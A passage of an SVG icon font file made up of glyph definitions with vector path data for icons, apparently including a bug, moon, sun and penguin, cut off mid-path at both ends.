	c 2.086-18.62, 5.516-36.834, 10.192-54.292c-21.224-4.172-39.928-5.404-55.636-3.654c-16.156,1.834-26.572,6.986-31.878,15.876
	C 39.788,69.882, 40.306,81.012, 46.732,95.334z M 171.29,73.27c 4.872-2.898, 10.164-5.782, 15.834-8.666
	c-8.862-3.262-17.472-6.090-25.746-8.442c-2.030,8.484-3.738,17.010-5.124,25.494C 161.266,78.674, 166.306,75.86, 171.29,73.27z
	 M 286.692,56.134c-8.344,2.352-16.968,5.166-25.83,8.442c 5.040,2.59, 10.36,5.446, 15.904,8.568c 5.152,2.856, 10.206,5.726, 15.078,8.568
	C 290.29,72.584, 288.568,64.044, 286.692,56.134z M 315.28,49.008c 4.578,17.514, 8.008,35.798, 10.22,54.544c 16.156,11.466, 31.094,23.548, 44.52,35.966
	c 14.336-15.568, 24.766-30.506, 31.024-44.422c 6.426-14.336, 7-25.494, 1.778-34.132c-5.166-8.54-15.89-13.804-31.864-15.68
	c-4.69-0.546-9.702-0.84-14.896-0.84C 343.868,44.458, 330.19,45.984, 315.28,49.008z"  />
<glyph unicode="&#xe306;" d="M 406.672,158.894c-0.098-0.042-0.196-0.098-0.252-0.098c0-0.070,0-0.168,0-0.224
	c-29.008-14.98-55.566-20.93-79.436-20.93c-36.134,0-66.108,13.65-89.138,30.506c-0.14,0.098-0.322,0.224-0.434,0.35L 279.3,327.202
	c 13.244-11.298, 43.204-32.438, 88.606-32.438c 22.862,0, 49.574,5.348, 80.080,19.936L 406.672,158.894z M 131.362,220.62c-0.378,0-0.742,0-1.134,0
	c-21.672,0-47.46-6.286-79.268-20.496L 91.812,357.148c 30.954,13.818, 56.14,19.39, 77.14,19.838c 0.154,0, 0.308,0, 0.476,0
	c 12.348,0, 23.506-1.61, 33.376-4.172c 20.664-5.768, 50.372-25.242, 50.372-25.242L 253.176,347.46 c-8.512-31.92-33.712-126.504-42.21-158.004
	C 188.79,205.542, 164.962,220.242, 131.362,220.62z M 115.57,182.358c 2.688,0.252, 5.362,0.336, 8.036,0.336c 23.576,0, 45.094-9.030, 60.536-17.696
	c 6.608-3.892, 12.852-8.134, 19.054-12.348c-5.488-20.594-34.412-128.674-42.924-160.272c-22.946,16.716-47.264,31.556-82.334,31.556
	c-21.294,0-46.606-5.53-77.924-19.362L 41.482,161.96c 4.718,2.1, 9.324,4.032, 13.79,5.796C 70.392,173.58, 91.924,180.188, 115.57,182.358z
	 M 317.632,100.85c 22.008,0, 48.062,4.452, 78.288,16.31L 356.076-35.3c-34.356-15.512-61.824-21.686-84.798-21.686
	c-36.302,0-84.686,32.662-84.63,32.62l 41.342,157.136C 240.576,121.78, 269.71,100.85, 317.632,100.85z"  />
<glyph unicode="&#xe307;" d="M 434,188l-44.422,0 C 377.748,258.28, 322.294,313.65, 252,325.48L 252,370 c0,7.742-6.258,14-14,14l-28,0 
		c-7.742,0-14-6.258-14-14l0-44.52 C 125.706,313.65, 70.252,258.28, 58.422,188L 14,188 c-7.742,0-14-6.258-14-14l0-28 c0-7.742, 6.258-14, 14-14l 44.422,0 
		c 11.83-70.28, 67.284-125.664, 137.578-137.48L 196-50 c0-7.742, 6.258-14, 14-14l 28,0 c 7.742,0, 14,6.258, 14,14l0,44.52 c 70.294,11.83, 125.748,67.214, 137.578,137.48L 434,132 
		c 7.742,0, 14,6.258, 14,14l0,28 C 448,181.742, 441.742,188, 434,188z M 332.444,188L 252,188 L 252,268.332 C 291.326,258.182, 322.294,227.298, 332.444,188z M 196,268.332L 196,188 
		L 115.542,188 C 125.692,227.298, 156.674,258.182, 196,268.332z M 115.542,132L 196,132 l0-80.318 C 156.674,61.804, 125.692,92.688, 115.542,132z M 252,51.682L 252,132 l 80.444,0 
		C 322.294,92.688, 291.326,61.804, 252,51.682z"  />
<glyph unicode="&#xe308;" d="M 182,244L 70,244 c-7.742,0-14-6.258-14-14l0-140 c0-7.742, 6.258-14, 14-14l 196,0 c 7.742,0, 14,6.258, 14,14
		l-84,140C 196,237.742, 189.742,244, 182,244zM 434,244l-42,0 L 392,286 c0,7.742-6.258,14-14,14L 14,300 C 6.258,300,0,293.742,0,286l0-252 c0-7.742, 6.258-14, 14-14
		l 364,0 c 7.742,0, 14,6.258, 14,14l0,42 l 42,0 c 7.742,0, 14,6.258, 14,14L 448,230 C 448,237.742, 441.742,244, 434,244z M 364,62c0-7.742-6.258-14-14-14L 42,48 
		c-7.742,0-14,6.258-14,14L 28,258 c0,7.742, 6.258,14, 14,14l 308,0 c 7.742,0, 14-6.258, 14-14L 364,62 z"  />
<glyph unicode="&#xe309;" d="M0,114.416l 140.588-90.398l0,65.254 L 56.882,140.96l 83.706,51.688L 140.588,258.35 L0,167.49L0,114.416 z M 170.324-8l 48.384,0 l 70.896,336l-48.706,0 
			L 170.324-8z M 307.426,258.35l0-65.702 l 83.678-51.688l-83.678-51.674l0-65.254 L 448,114.416l0,53.074 L 307.426,258.35z"  />
<glyph unicode="&#xf18b;" d="M 201.25,40.75q-30.5-16.75 -65.25-16.75q-35.25,0 -65.25,16.75q 24.5,15.25 41.75,37.25t 23.5,47.75q 6.25-25.75 23.5-47.75t 41.75-37.25zM 113.25,294l0-86 q0-44.75 -22.375-81.5t-58.625-54.25q-32.25,38 -32.25,87.75q0,50 32.375,88t 80.875,46zM 239.5,247.75q-32-38 -32-87.75q0-50.25 32-87.75q-36.25,17.5 -58.625,54.5t-22.375,82 l0,85.25 q 49-8.25 81-46.25zM 409.5,40.75q-30.5-16.75 -65.25-16.75q-35.25,0 -65.25,16.75q 24.5,15.25 41.75,37.25t 23.5,47.75q 6.25-25.75 23.5-47.75t 41.75-37.25zM 321.5,294l0-86 q0-44.75 -22.75-81.5t-59.25-54.25l0,0 q 33.25,38.5 33.25,87.75q0,48.75 -33.25,87.75q 32.25,37.75 82,46.25zM 480,160q0-50.25 -32.25-87.75q-36.25,17.5 -58.625,54.5 t-22.375,82l0,85.25 q 48.5-8 80.875-46t 32.375-88z" horiz-adv-x="480"  />
<glyph unicode="&#xf18a;" d="M 168.75,63q 5.25,8.5 2.75,17.25t-11.25,12.5q-8.5,3.5 -18.25,0.25t-15-11.5q-5.5-8.5 -3.25-17.125t 10.75-12.625t 18.625-0.625t 15.625,11.875zM 192.25,93.25q 2,3.25 0.875,6.625t-4.375,4.625q-3.5,1.25 -7.125-0.125t-5.375-4.625q-4.25-7.75 3.25-11.25q 3.5-1.25 7.25,0.125t 5.5,4.625zM 235.75,66.5q-11.25-25.5 -39.5-37.5t-56-3 q-26.75,8.5 -36.875,31.625t 1.625,46.875q 11.75,23.25 37.875,34.75t 52.625,4.75q 27.75-7.25 39.625-29.875t 0.625-47.625zM 313.75,106.5q-2.25,24 -22.25,42.5t-52.125,27.25t-68.625,5.25q-55.75-5.75 -92.375-35.375t-33.125-66.125q 2.25-24 22.25-42.5t 52.125-27.25t 68.625-5.25q 55.75,5.75 92.375,35.375t 33.125,66.125zM 390.75,105.5 q0-17 -9.25-34.875t-27.25-34.25t-42.125-29.375t-56.5-20.75t-67.625-7.75t-68.75,8.375t-60.125,23.25t-42.875,37.75t-16.25,49.875q0,28.75 17.375,61.25t 49.375,64.5q 42.25,42.25 85.375,59t 61.625-1.75q 16.25-16 5-52.25q-1-3.5 -0.25-5t 2.5-1.75t 3.625,0.125t 3.375,0.875l 1.5,0.5q 34.75,14.75 61.5,14.75t 38.25-15.25q 11.25-15.75 0-44.5 q-0.5-3.25 -1.125-5t 1.125-3.125t 3-1.875t 4.25-1.5q 14.25-4.5 25.75-11.75t 20-20.375t 8.5-29.125zM 372.25,261.5q 10.5-11.75 13.625-27.125t-1.625-29.375q-2-5.75 -7.375-8.5t-11.125-1q-5.75,2 -8.5,7.375t-1,11.125q 5,15.75 -6,27.75t-26.75,8.75q-6-1.25 -11.25,2t-6.25,9.25q-1.25,6 2,11.125t 9.25,6.375q 15,3.25 29.75-1.375t 25.25-16.375z M 417.5,302.25q 21.75-24 28.125-55.625t-3.375-60.375q-2.25-6.75 -8.5-10t-13-1t-10,8.5t-1.25,13q 7,20.5 2.5,43t-20,39.5q-15.5,17.25 -37,23.875t-43.25,2.125q-7-1.5 -13,2.375t-7.5,10.875t 2.375,12.875t 10.875,7.375q 30.75,6.5 61-2.875t 52-33.625z"  />
<glyph unicode="&#xf189;" d="M 479.25,254q 5.75-16 -37.5-73.5q-6-8 -16.25-21.25q-19.5-25 -22.5-32.75q-4.25-10.25 3.5-20.25q 4.25-5.25 20.25-20.5l 0.25,0 l 0.25-0.25l 0.25-0.25l 0.5-0.5q 35.25-32.75 47.75-55.25q 0.75-1.25 1.625-3.125t 1.75-6.625t-0.125-8.5t-6.25-6.875t-14.75-3.125l-64-1q-6-1.25 -14,1.25t-13,5.5l-5,3q-7.5,5.25 -17.5,16t-17.125,19.375t-15.25,14.5 t-14.125,3.875q-0.75-0.25 -2-0.875t-4.25-3.625t-5.375-7.375t-4.25-13t-1.625-19.375q0-3.75 -0.875-6.875t-1.875-4.625l-1-1.25q-4.5-4.75 -13.25-5.5l-28.75,0 q-17.75-1 -36.5,4.125t-32.875,13.25t-25.75,16.5t-17.625,14.375l-6.25,6q-2.5,2.5 -6.875,7.5t-17.875,22.75t-26.5,37.75t-30.625,52.75t-32.625,68q-1.5,4 -1.5,6.75t 0.75,4l 1,1.5 q 3.75,4.75 14.25,4.75l 68.5,0.5q 3-0.5 5.75-1.625t 4-2.125l 1.25-0.75q 4-2.75 6-8q 5-12.5 11.5-25.875t 10.25-20.375l 4-7.25q 7.25-15 14-26t 12.125-17.125t 10.375-9.625t 8.5-3.5t 6.75,1.25q 0.5,0.25 1.25,1.25t 3,5.5t 3.375,11.75t 2.375,20.25t0,31.25q-0.5,10 -2.25,18.25t-3.5,11.5l-1.5,3q-6.25,8.5 -21.25,10.75q-3.25,0.5 1.25,6q 4.25,4.75 9.5,7.5q 13.25,6.5 59.75,6 q 20.5-0.25 33.75-3.25q 5-1.25 8.375-3.375t 5.125-6t 2.625-8t 0.875-11.375t-0.25-13.75t-0.625-17.625t-0.375-20.625q0-2.75 -0.25-10.5t-0.125-12t 0.875-10.125t 2.875-9.75t 5.625-6.125q 2-0.5 4.25-1t 6.5,2.75t 9.5,8.625t 13,16.75t 17,26.875q 15,26 26.75,56.25q 1,2.5 2.5,4.375t 2.75,2.625l 1,0.75l 1.25,0.625t 3.25,0.75t 5,0.125l 72,0.5 q 9.75,1.25 16-0.625t 7.75-4.125z" horiz-adv-x="480"  />
<glyph unicode="&#xf188;" d="M 408,144q0-6.5 -4.75-11.25t-11.25-4.75l-56,0 q0-42.75 -16.75-72.5l 52-52.25q 4.75-4.75 4.75-11.25t-4.75-11.25q-4.5-4.75 -11.25-4.75t-11.25,4.75l-49.5,49.25q-1.25-1.25 -3.75-3.25t-10.5-7.125t-16.25-9.125t-20.5-7.25t-24.25-3.25l0,224 l-32,0 l0-224 q-12.75,0 -25.375,3.375t-21.75,8.25t-16.5,9.75t-10.875,8.125l-3.75,3.5l-45.75-51.75 q-5-5.25 -12-5.25q-6,0 -10.75,4q-4.75,4.5 -5.125,11.125t 3.875,11.625l 50.5,56.75q-14.5,28.5 -14.5,68.5l-56,0 q-6.5,0 -11.25,4.75t-4.75,11.25t 4.75,11.25t 11.25,4.75l 56,0 l0,73.5 l-43.25,43.25q-4.75,4.75 -4.75,11.25t 4.75,11.25t 11.25,4.75t 11.25-4.75l 43.25-43.25l 211,0 l 43.25,43.25q 4.75,4.75 11.25,4.75t 11.25-4.75t 4.75-11.25t-4.75-11.25l-43.25-43.25l0-73.5 l 56,0 q 6.5,0 11.25-4.75 t 4.75-11.25zM 288,288l-160,0 q0,33.25 23.375,56.625t 56.625,23.375t 56.625-23.375t 23.375-56.625z" horiz-adv-x="416"  />
<glyph unicode="&#xf187;" d="M 272,176q0,6.5 -4.75,11.25t-11.25,4.75l-64,0 q-6.5,0 -11.25-4.75t-4.75-11.25t 4.75-11.25t 11.25-4.75l 64,0 q 6.5,0 11.25,4.75t 4.75,11.25zM 416,224l0-240 q0-6.5 -4.75-11.25t-11.25-4.75l-352,0 q-6.5,0 -11.25,4.75t-4.75,11.25l0,240 q0,6.5 4.75,11.25t 11.25,4.75l 352,0 q 6.5,0 11.25-4.75t 4.75-11.25zM 432,336l0-64 q0-6.5 -4.75-11.25t-11.25-4.75l-384,0  q-6.5,0 -11.25,4.75t-4.75,11.25l0,64 q0,6.5 4.75,11.25t 11.25,4.75l 384,0 q 6.5,0 11.25-4.75t 4.75-11.25z"  />
<glyph unicode="&#xf186;" d="M 315.5,58.25q-13.5-2.25 -27.5-2.25q-45.5,0 -84.25,22.5t-61.25,61.25t-22.5,84.25q0,48 26,89.25q-50.25-15 -82.125-57.25t-31.875-96q0-32.5 12.75-62.125t 34.125-51t 51-34.125t 62.125-12.75q 36,0 68.375,15.375t 55.125,42.875zM 366.25,79.5q-23.5-50.75 -70.875-81.125t-103.375-30.375q-39,0 -74.5,15.25 t-61.25,41t-41,61.25t-15.25,74.5q0,38.25 14.375,73.125t 39,60.375t 58.875,41.125t 72.5,17.125q 11,0.5 15.25-9.75q 4.5-10.25 -3.75-18q-21.5-19.5 -32.875-45.375t-11.375-54.625q0-37 18.25-68.25t 49.5-49.5t 68.25-18.25q 29.5,0 57,12.75q 10.25,4.5 18-3.25q 3.5-3.5 4.375-8.5t-1.125-9.5z" horiz-adv-x="384"  />
<glyph unicode="&#xf185;" d="M 368,160q0,29.25 -11.375,55.875t-30.75,46t-46,30.75t-55.875,11.375t-55.875-11.375t-46-30.75t-30.75-46t-11.375-55.875t 11.375-55.875t 30.75-46t 46-30.75t 55.875-11.375t 55.875,11.375t 46,30.75t 30.75,46t 11.375,55.875zM 437,90.75q-1-3.75 -5-5l-73-24l0-76.5 q0-4 -3.25-6.5q-3.75-2.5 -7.25-1 l-73,23.5l-45-62q-2.5-3.25 -6.5-3.25t-6.5,3.25l-45,62l-73-23.5q-3.5-1.5 -7.25,1q-3.25,2.5 -3.25,6.5l0,76.5 l-73,24q-4,1.25 -5,5q-1.25,4.25 1,7.25l 45,62l-45,62q-2.25,3.25 -1,7.25q 1,3.75 5,5l 73,24l0,76.5 q0,4 3.25,6.5q 3.75,2.5 7.25,1l 73-23.5l 45,62q 2.25,3 6.5,3t 6.5-3l 45-62l 73,23.5 q 3.5,1.5 7.25-1q 3.25-2.5 3.25-6.5l0-76.5 l 73-24q 4-1.25 5-5q 1.25-4 -1-7.25l-45-62l 45-62q 2.25-3 1-7.25z"  />
<glyph unicode="&#xf184;" d="M 193.25,58.5l 87.5,118.25q 4,5.5 6.125,14.75t-1.5,21.25t-15.375,19.75q-10,6.5 -20.75,6.375t-18.375-4.375t-13.625-11.25q-9-10 -24-10q-14.75,0 -23.75,10q-6,7 -13.625,11.25t-18.375,4.375t-21-6.375q-11.5-7.75 -15.125-19.75t-1.5-21.25t 6.125-14.75zM 384,160q0-52.25 -25.75-96.375t-69.875-69.875t-96.375-25.75t-96.375,25.75 t-69.875,69.875t-25.75,96.375t 25.75,96.375t 69.875,69.875t 96.375,25.75t 96.375-25.75t 69.875-69.875t 25.75-96.375z" horiz-adv-x="384"  />
<glyph unicode="&#xf183;" d="M 256,208l0-104 q0-10 -7-17t-17-7t-17,7t-7,17l0,88 l-16,0 l0-228 q0-11.5 -8.25-19.75t-19.75-8.25t-19.75,8.25t-8.25,19.75l0,116 l-16,0 l0-116 q0-11.5 -8.25-19.75t-19.75-8.25t-19.75,8.25t-8.25,19.75l0,228 l-16,0 l0-88 q0-10 -7-17t-17-7t-17,7t-7,17l0,104 q0,20 14,34t 34,14l 160,0 q 20,0 34-14t 14-34z M 184,320q0-23.25 -16.375-39.625t-39.625-16.375t-39.625,16.375t-16.375,39.625t 16.375,39.625t 39.625,16.375t 39.625-16.375t 16.375-39.625z" horiz-adv-x="256"  />
<glyph unicode="&#xf182;" d="M 320,120q0-10 -7-17t-17-7q-12.75,0 -20,10.75l-56.75,85.25l-11.25,0 l0-33 l 61.75-102.75q 2.25-3.75 2.25-8.25q0-6.5 -4.75-11.25t-11.25-4.75l-48,0 l0-68 q0-11.5 -8.25-19.75t-19.75-8.25l-40,0 q-11.5,0 -19.75,8.25t-8.25,19.75l0,68 l-48,0 q-6.5,0 -11.25,4.75t-4.75,11.25q0,4.5 2.25,8.25l 61.75,102.75l0,33 l-11.25,0 l-56.75-85.25q-7.25-10.75 -20-10.75 q-10,0 -17,7t-7,17q0,7.25 4,13.25l 64,96q 18.25,26.75 44,26.75l 96,0 q 25.75,0 44-26.75l 64-96q 4-6 4-13.25zM 216,320q0-23.25 -16.375-39.625t-39.625-16.375t-39.625,16.375t-16.375,39.625t 16.375,39.625t 39.625,16.375t 39.625-16.375t 16.375-39.625z" horiz-adv-x="320"  />
<glyph unicode="&#xf181;" d="M 176,48l0,256 q0,3.5 -2.25,5.75t-5.75,2.25l-120,0 q-3.5,0 -5.75-2.25t-2.25-5.75l0-256 q0-3.5 2.25-5.75t 5.75-2.25l 120,0 q 3.5,0 5.75,2.25t 2.25,5.75zM 344,144l0,160 q0,3.5 -2.25,5.75t-5.75,2.25l-120,0 q-3.5,0 -5.75-2.25t-2.25-5.75l0-160 q0-3.5 2.25-5.75t 5.75-2.25l 120,0 q 3.5,0 5.75,2.25t 2.25,5.75zM 384,336l0-352 q0-6.5 -4.75-11.25t-11.25-4.75l-352,0  q-6.5,0 -11.25,4.75t-4.75,11.25l0,352 q0,6.5 4.75,11.25t 11.25,4.75l 352,0 q 6.5,0 11.25-4.75t 4.75-11.25z" horiz-adv-x="384"  />
<glyph unicode="&#xf180;" d="M 370.75,128l-146.75-146.75q-13-13.25 -31.875-13.25t-32.125,13.25l-146.75,146.75q-13.25,13.25 -13.25,32t 13.25,32l 146.75,146.75q 13.25,13.25 32,13.25t 32-13.25l 66.25-66.25l-99.5-99.75l-47,47q-10.5,10.5 -24.75,10.5q-14.75,0 -25-10.25l-30-30.25q-10.5-10 -10.5-24.75q0-14.5 10.5-25l 101.5-102q 7.5-7 16.75-9.25l 1.5-1l 7,0 q 15,0 24.75,10.25 l 154.75,154.75l 0.5-0.75q 13.25-13.25 13.25-32t-13.25-32zM 351.5,284.5l 30-30q 3.5-3.75 3.5-9t-3.5-9l-182.5-182.5q-4.25-3.75 -9.25-3.75l0,0 q-1,0 -1.5,0.25q-4.5,0.5 -7.5,3.5l-101.75,102q-3.5,3.75 -3.5,9t 3.5,8.75l 30.25,30q 3.25,3.75 8.75,3.75t 9-3.75l 63-63l 143.5,143.75q 3.75,3.75 9,3.75t 9-3.75z" horiz-adv-x="416"  />
<glyph unicode="&#xf17e;" d="M 293.25,118.25q0,12.5 -4.875,22.875t-12.125,17.125t-18.25,12.25t-20.625,8.5t-21.875,5.75l-26,6q-7.5,1.75 -11,2.625t-8.75,2.875t-7.5,4t-4.125,5.25t-1.875,7.5q0,19.25 36,19.25q 10.75,0 19.25-3t 13.5-7.125t 9.5-8.375t 10-7.25t 12-3q 11.75,0 18.875,8t 7.125,19.25q0,13.75 -14,24.875t-35.5,16.875t-45.5,5.75q-17,0 -33-3.875 t-29.875-11.75t-22.25-21.75t-8.375-32.125q0-15.25 4.75-26.625t 14-18.875t 20-12.125t 25.75-8.125l 36.5-9q 22.5-5.5 28-9q 8-5 8-15q0-9.75 -10-16.125t-26.25-6.375q-12.75,0 -22.875,4t-16.25,9.625t-11.375,11.25t-11.5,9.625t-13.5,4q-12.5,0 -18.875-7.5t-6.375-18.75q0-23 30.5-39.375t 72.75-16.375 q 18.25,0 35,4.625t 30.625,13.375t 22.125,23.375t 8.25,32.875zM 384,64q0-39.75 -28.125-67.875t-67.875-28.125q-32.5,0 -58.5,20q-19.25-4 -37.5-4q-35.75,0 -68.375,13.875t-56.25,37.5t-37.5,56.25t-13.875,68.375q0,18.25 4,37.5q-20,26 -20,58.5q0,39.75 28.125,67.875t 67.875,28.125q 32.5,0 58.5-20 q 19.25,4 37.5,4q 35.75,0 68.375-13.875t 56.25-37.5t 37.5-56.25t 13.875-68.375q0-18.25 -4-37.5q 20-26 20-58.5z" horiz-adv-x="384"  />
<glyph unicode="&#xf17d;" d="M 256,9q-10.5,60.25 -35,124.5l-0.5,0 l-0.5-0.25q-4-1.5 -10.75-4.125t-25.25-12.25t-34.25-20.5t-32.75-28.625t-25.75-37l-3.75,2.75q 46-37.5 104.5-37.5q 33,0 64,13zM 209.75,160.75q-5.25,12.25 -13.25,27.75q-77.75-23.25 -168.25-23.25q-0.25-1.75 -0.25-5.25q0-31 11-59.125t 31-50.375q 12.5,22.25 30.875,41.625t 35.625,31.125t 32.625,20.25 t 24.875,12l 9.25,3.25q 1,0.25 3.25,0.875t 3.25,1.125zM 183,213.75q-30,53.25 -61,94.5q-34.5-16.25 -58.5-46.5t-32-68q 75.5,0 151.5,20zM 354,134q-52.5,15 -102.25,7.25q 21.75-59.75 32-117.25q 27.75,18.75 46.25,47.375t 24,62.625zM 152.75,319.25q-0.25,0 -0.5-0.25q 0.25,0.25 0.5,0.25zM 300.25,283q-46.25,41 -108.25,41q-19,0 -38.75-4.75 q 32.75-42.5 61.5-95.5q 17.25,6.5 32.5,15.125t 24.125,15.375t 16.375,14.25t 9.375,10.125zM 356,161.75q-0.75,58 -37.25,102.5l-0.25-0.25q-2.25-3 -4.75-6.125t-10.875-11.125t-17.75-15.125t-25-16.25t-32.875-16.125q 6.25-13.25 11-23.75q 0.5-1.5 1.625-4.375t 1.875-4.125q 9,1.25 18.625,1.75t 18.375,0.5t 17.25-0.375t 16-1t 14.125-1.375t 12-1.625t 9.125-1.5 t 6.25-1.125zM 384,160q0-52.25 -25.75-96.375t-69.875-69.875t-96.375-25.75t-96.375,25.75t-69.875,69.875t-25.75,96.375t 25.75,96.375t 69.875,69.875t 96.375,25.75t 96.375-25.75t 69.875-69.875t 25.75-96.375z" horiz-adv-x="384"  />
<glyph unicode="&#xf17c;" d="M 165.75,281.25q-2.75-0.25 -3.875-2.625t-2.125-2.375q-1.25-0.25 -1.25,1.25q0,3 4.75,3.75l 2.5,0 zM 187.5,277.75q-1-0.25 -2.875,1.625t-4.375,1.125q 6,2.75 8-0.5q 0.75-1.5 -0.75-2.25zM 99.75,171q-1,0.25 -1.5-0.75t-1.125-3.125t-1.375-3.375t-2.5-3.25q-1.75-2.5 -0.25-3q 1-0.25 3.125,1.75t 3.125,4.5q 0.25,0.75 0.5,1.75t 0.5,1.5t 0.375,1.125t 0.125,1l0,0.75 t-0.25,0.625t-0.75,0.5z M 313.5,81.25q0,4.5 -13.75,10.5q 1,3.75 1.875,6.875t 1.25,6.5t 0.75,5.375t 0.125,5.625t-0.25,4.875t-0.875,5.5t-1,5.125t-1.25,6.25t-1.375,6.625q-2.5,12 -11.75,25.75t-18,18.75q 6-5 14.25-20.75q 21.75-40.5 13.5-69.5q-2.75-10 -12.5-10.5q-7.75-1 -9.625,4.625t-2,20.875t-2.875,26.75q-2.25,9.75 -4.875,17.25t-4.875,11.375t-3.875,6.125t-3.25,3.75t-1.875,1.75 q-3.5,15.5 -7.75,25.75t-7.375,14t-5.875,8.25t-3.75,10q-1,5.25 1.5,13.375t 1.125,12.375t-11.125,6.25q-3.75,0.75 -11.125,4.5t-8.875,4q-2,0.25 -2.75,6.5t 2,12.75t 9,6.75q 9.25,0.75 12.75-7.5t 1-14.5q-2.75-4.75 -0.5-6.625t 7.5-0.125q 3.25,1 3.25,9l0,9.25 q-1.25,7.5 -3.375,12.5t-5.25,7.625t-5.875,3.75t-6.75,1.875q-26.75-2 -22.25-33.5q0-3.75 -0.25-3.75 q-2.25,2.25 -7.375,2.625t-8.25-0.125t-3.875,1.25q 0.25,14.25 -4,22.5t-11.25,8.5q-6.75,0.25 -10.375-6.875t-4.125-14.875q-0.25-3.75 0.875-9.25t 3.25-9.375t 3.875-3.375q 2.5,0.75 4,3.5q 1,2.25 -1.75,2q-1.75,0 -3.875,3.625t-2.375,8.375q-0.25,5.5 2.25,9.25t 8.5,3.5q 4.25,0 6.75-5.25t 2.375-9.75t-0.375-5.5q-5.5-3.75 -7.75-7.25q-2-3 -6.875-5.875 t-5.125-3.125q-3.25-3.5 -3.875-6.75t 1.875-4.5q 3.5-2 6.25-4.875t 4-4.75t 4.625-3.25t 8.875-1.625q 11.75-0.5 25.5,3.75q 0.5,0.25 5.75,1.75t 8.625,2.625t 7.375,3.25t 5.25,4.375q 2.25,3.5 5,2q 1.25-0.75 1.625-2.125t-0.75-3t-4.125-2.375q-5-1.5 -14.125-5.375t-11.375-4.875q-11-4.75 -17.5-5.75q-6.25-1.25 -19.75,0.5q-2.5,0.5 -2.25-0.5t 4.25-4.75 q 6.25-5.75 16.75-5.5q 4.25,0.25 9,1.75t 9,3.5t 8.375,4.375t 7.5,4.25t 6.125,3t 4.375,0.625t 2.125-2.75q0-0.5 -0.25-1.125t-1-1.25t-1.5-1.125t-2.125-1.25t-2.25-1.125t-2.5-1.25t-2.375-1.125q-7-3.5 -16.875-11t-16.625-10.75t-12.25-0.25q-5.25,2.75 -15.75,18.25q-5.5,7.75 -6.25,5.5q-0.25-0.75 -0.25-2.5q0-6.25 -3.75-14.125t-7.375-13.875t-5.25-14.5t 2.875-15.75 q-5.75-1.5 -15.625-22.5t-11.875-35.25q-0.5-4.5 -0.375-17.25t-1.375-14.75q-2-6 -7.25-0.75q-8,7.75 -9,23.5q-0.5,7 1,14q 1,4.75 -0.25,4.5l-1-1.25q-9-16.25 2.5-41.5q 1.25-3 6.25-7t 6-5q 5-5.75 26-22.625t 23.25-19.125q 4-3.75 4.375-9.5t-3.5-10.75t-11.375-5.75q 2-3.75 7.25-11.125t 7-13.5t 1.75-17.625q 11.5,6 1.75,23 q-1,2 -2.625,4t-2.375,3t-0.5,1.5q 0.75,1.25 3.25,2.375t 5-0.625q 11.5-13 41.5-9q 33.25,3.75 44.25,21.75q 5.75,9.5 8.5,7.5q 3-1.5 2.5-13q-0.25-6.25 -5.75-23q-2.25-5.75 -1.5-9.375t 6-3.875q 0.75,4.75 3.625,19.25t 3.375,22.5q 0.5,5.25 -1.625,18.375t-1.875,24.25t 5.75,17.625q 3.75,4.5 12.75,4.5q 0.25,9.25 8.625,13.25t 18.125,2.625t 15-5.625zM 156.5,288 q 0.75,4.25 -0.625,7.5t-2.875,3.75q-2.25,0.5 -2.25-1.75q 0.5-1.25 1.25-1.5q 2.5,0 1.75-3.75q-0.75-5 2-5q 0.75,0 0.75,0.75zM 261.25,238.75q-0.5,2 -1.625,2.875t-3.25,1.25t-3.625,1.375q-1.25,0.75 -2.375,2t-1.75,2t-1.375,1.625t-1,1t-1-0.375q-3.5-4 1.75-10.875t 9.75-7.875q 2.25-0.25 3.625,2t 0.875,5zM 216.75,292q0,2.75 -1.25,4.875t-2.75,3.125t-2.25,0.75q-3.5-0.25 -1.75-1.75l 1-0.5 q 3.5-1 4.5-7.75q0-0.75 2,0.5zM 230.25,350.25q0,0.5 -0.625,1.25t-2.25,1.75t-2.375,1.5q-3.75,3.75 -6,3.75q-2.25-0.25 -2.875-1.875t-0.25-3.25t-0.125-3.125q-0.25-1 -1.5-2.625t-1.5-2.25t 0.75-2.125q 1-0.75 2,0t 2.75,2.25t 3.75,2.25q 0.25,0.25 2.25,0.25t 3.75,0.5t 2.25,1.75zM 371.5,15q 5-3 7.75-6.125t 3-6t-0.625-5.625t-3.875-5.5t-5.875-4.875t-7.5-4.625 t-7.875-4.125t-8-3.875t-6.75-3.25q-9.5-4.75 -21.375-14t-18.875-16q-4.25-4 -17-4.875t-22.25,3.625q-4.5,2.25 -7.375,5.875t-4.125,6.375t-5.5,4.875t-11.75,2.375q-11,0.25 -32.5,0.25q-4.75,0 -14.25-0.375t-14.5-0.625q-11-0.25 -19.875-3.75t-13.375-7.5t-10.875-7.125t-13.375-2.875q-7.25,0.25 -27.75,7.75t-36.5,10.75q-4.75,1 -12.75,2.375 t-12.5,2.25t-9.875,2.375t-8.375,3.625t-4.25,4.875q-2.5,5.75 1.75,16.625t 4.5,13.625q 0.25,4 -1,10t-2.5,10.625t-1.125,9.125t 2.625,6.75q 3.5,3 14.25,3.5t 15,3q 7.5,4.5 10.5,8.75t 3,12.75q 5.25-18.25 -8-26.5q-8-5 -20.75-3.75q-8.5,0.75 -10.75-2.5q-3.25-3.75 1.25-14.25q 0.5-1.5 2-4.5t 2.125-4.5t 1.125-4.25t 0.25-5.5q0-3.75 -4.25-12.25t-3.5-12 q 0.75-4.25 9.25-6.5q 5-1.5 21.125-4.625t 24.875-5.125q 6-1.5 18.5-5.5t 20.625-5.75t 13.875-1q 10.75,1.5 16.125,7t 5.75,12t-1.875,14.625t-4.75,13t-5,9.125q-30.25,47.5 -42.25,60.5q-17,18.5 -28.25,10q-2.75-2.25 -3.75,3.75q-0.75,4 -0.5,9.5q 0.25,7.25 2.5,13t 6,11.75t 5.5,10.5q 2,5.25 6.625,18t 7.375,19.5t 7.5,15.25t 9.75,13.5q 27.5,35.75 31,48.75 q-3,28 -4,77.5q-0.5,22.5 6,37.875t 26.5,26.125q 9.75,5.25 26,5.25q 13.25,0.25 26.5-3.375t 22.25-10.375q 14.25-10.5 22.875-30.375t 7.375-36.875q-1.25-23.75 7.5-53.5q 8.5-28.25 33.25-54.5q 13.75-14.75 24.875-40.75t 14.875-47.75q 2-12.25 1.25-21.125t-3-13.875t-5-5.5q-2.5-0.5 -5.875-4.75t-6.75-8.875t-10.125-8.375t-15.25-3.5 q-4.5,0.25 -7.875,1.25t-5.625,3.375t-3.375,3.875t-2.875,5.125t-2.25,4.875q-5.5,9.25 -10.25,7.5t-7-12.25t 1.75-24.25q 5-17.5 0.25-48.75q-2.5-16.25 4.5-25.125t 18.25-8.25t 21.25,8.875q 14.75,12.25 22.375,16.625t 25.875,10.625q 